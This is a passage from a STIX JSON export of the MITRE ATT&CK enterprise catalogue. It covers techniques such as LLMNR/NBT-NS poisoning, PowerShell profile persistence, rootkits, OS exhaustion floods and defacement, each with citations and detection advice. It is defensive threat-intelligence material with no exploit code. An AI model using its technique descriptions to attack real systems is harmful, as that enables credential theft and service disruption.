            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS",
                "Office Suite"
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            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Application Log: Application Log Content",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3",
            "created": "2020-02-20T14:34:08.496Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1491/002",
                    "external_id": "T1491.002"
                },
                {
                    "source_name": "Anonymous Hackers Deface Russian Govt Site",
                    "description": "Andy. (2018, May 12). \u2018Anonymous\u2019 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.",
                    "url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/"
                },
                {
                    "source_name": "FireEye Cyber Threats to Media Industries",
                    "description": "FireEye. (n.d.). Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210719110553/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf"
                },
                {
                    "source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence",
                    "description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.",
                    "url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf"
                },
                {
                    "source_name": "Trend Micro Deep Dive Into Defacement",
                    "description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.",
                    "url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:34:21.584Z",
            "name": "External Defacement",
            "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "File: File Modification",
                "File: File Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_impact_type": [
                "Integrity"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144",
            "created": "2024-03-29T12:38:17.135Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/013",
                    "external_id": "T1027.013"
                },
                {
                    "source_name": "File obfuscation",
                    "description": "Aspen Lindblom, Joseph Goodwin, and Chris Sheldon. (2021, July 19). Shlayer Malvertising Campaigns Still Using Flash Update Disguise. Retrieved March 29, 2024.",
                    "url": "https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/"
                },
                {
                    "source_name": "SFX - Encrypted/Encoded File",
                    "description": "Jai Minton. (2023, March 31). How Falcon OverWatch Investigates Malicious Self-Extracting Archives, Decoy Files and Their Hidden Payloads. Retrieved March 29, 2024.",
                    "url": "https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:05.840Z",
            "name": "Encrypted/Encoded File",
            "description": "Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use.\n\nThis type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding schemes such as Base64.\n\nThe entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.\n\nFor example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded File) \n\nAdversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) execution.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "David Galazin @themalwareman1",
                "Andrew Northern, @ex_raritas",
                "Jai Minton, @Cyberraiju"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1171",
                    "external_id": "T1171"
                },
                {
                    "source_name": "Wikipedia LLMNR",
                    "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution"
                },
                {
                    "source_name": "TechNet NetBIOS",
                    "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
                    "url": "https://technet.microsoft.com/library/cc958811.aspx"
                },
                {
                    "source_name": "byt3bl33d3r NTLM Relaying",
                    "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.",
                    "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html"
                },
                {
                    "source_name": "Secure Ideas SMB Relay",
                    "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.",
                    "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html"
                },
                {
                    "source_name": "GitHub NBNSpoof",
                    "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
                    "url": "https://github.com/nomex/nbnspoof"
                },
                {
                    "source_name": "Rapid7 LLMNR Spoofer",
                    "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
                    "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response"
                },
                {
                    "source_name": "GitHub Responder",
                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
                    "url": "https://github.com/SpiderLabs/Responder"
                },
                {
                    "source_name": "Sternsecurity LLMNR-NBTNS",
                    "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
                    "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"
                },
                {
                    "source_name": "GitHub Conveigh",
                    "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
                    "url": "https://github.com/Kevin-Robertson/Conveigh"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:08.606Z",
            "name": "LLMNR/NBT-NS Poisoning and Relay",
            "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Eric Kuehn, Secure Ideas",
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3",
            "created": "2020-10-02T15:59:11.695Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1590/005",
                    "external_id": "T1590.005"
                },
                {
                    "source_name": "Circl Passive DNS",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                    "url": "https://www.circl.lu/services/passive-dns/"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
                },
                {
                    "source_name": "WHOIS",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
                    "url": "https://who.is/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:40:30.211Z",
            "name": "IP Addresses",
            "description": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7",
            "created": "2020-02-20T15:27:18.581Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1499/001",
                    "external_id": "T1499.001"
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
                },
                {
                    "source_name": "Cloudflare SynFlood",
                    "description": "Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.",
                    "url": "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/"
                },
                {
                    "source_name": "Corero SYN-ACKflood",
                    "description": "Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20220119104451/https://www.corero.com/resource-hub/syn-ack-flood-attack/"
                },
                {
                    "source_name": "Arbor AnnualDoSreport Jan 2018",
                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
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            "modified": "2025-04-15T22:53:56.462Z",
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            "description": "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)",
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                    "phase_name": "impact"
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            "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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                "Network Traffic: Network Traffic Content",
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            "x_mitre_impact_type": [
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "created": "2017-05-31T21:30:26.496Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1014",
                    "external_id": "T1014"
                },
                {
                    "source_name": "CrowdStrike Linux Rootkit",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
                },
                {
                    "source_name": "BlackHat Mac OSX Rootkit",
                    "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.",
                    "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
                },
                {
                    "source_name": "Symantec Windows Rootkits",
                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
                },
                {
                    "source_name": "Wikipedia Rootkit",
                    "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Rootkit"
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            "modified": "2025-04-16T20:37:15.308Z",
            "name": "Rootkit",
            "description": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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                "Firmware: Firmware Modification",
                "File: File Modification"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
            "created": "2020-01-24T15:11:02.758Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1546/013",
                    "external_id": "T1546.013"
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                {
                    "source_name": "Wits End and Shady PowerShell Profiles",
                    "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.",
                    "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html"
                },
                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
                },
                {
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
                },
                {
                    "source_name": "Microsoft About Profiles",
                    "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6"
                },
                {
                    "source_name": "Microsoft Profiles",
                    "description": "Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.",
                    "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles"
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            "modified": "2025-04-15T19:58:06.292Z",
            "name": "PowerShell Profile",
            "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
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                    "phase_name": "privilege-escalation"
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                    "phase_name": "persistence"
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                "Matt Green, @mgreen27"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\n\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\\\\\[My ]Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\\\\\[My ]Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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                "Command: Command Execution",
                "Process: Process Creation",
                "File: File Creation"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "created": "2020-06-23T19:12:24.924Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1059/007",
                    "external_id": "T1059.007"
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                {
                    "source_name": "Apple About Mac Scripting 2016",
                    "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html"
                },
                {
                    "source_name": "MDSec macOS JXA and VSCode",
                    "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.",
                    "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/"
                },
                {
                    "source_name": "Microsoft JScript 2007",
                    "description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020.",
                    "url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript"
                },
                {
                    "source_name": "Microsoft Windows Scripts",
                    "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.",
                    "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces"
                },
                {
                    "source_name": "JScrip May 2018",
                    "description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.",
                    "url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript"
                },
                {
                    "source_name": "NodeJS",
                    "description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.",
                    "url": "https://nodejs.org/"
                },
                {
                    "source_name": "SentinelOne macOS Red Team",
                    "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.",
                    "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
                },
                {
                    "source_name": "SpecterOps JXA 2020",
                    "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.",
                    "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"
                },
                {
                    "source_name": "Red Canary Silver Sparrow Feb2021",
                    "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.",
                    "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/"
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            "modified": "2025-04-15T22:43:16.394Z",
            "name": "JavaScript",
            "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary 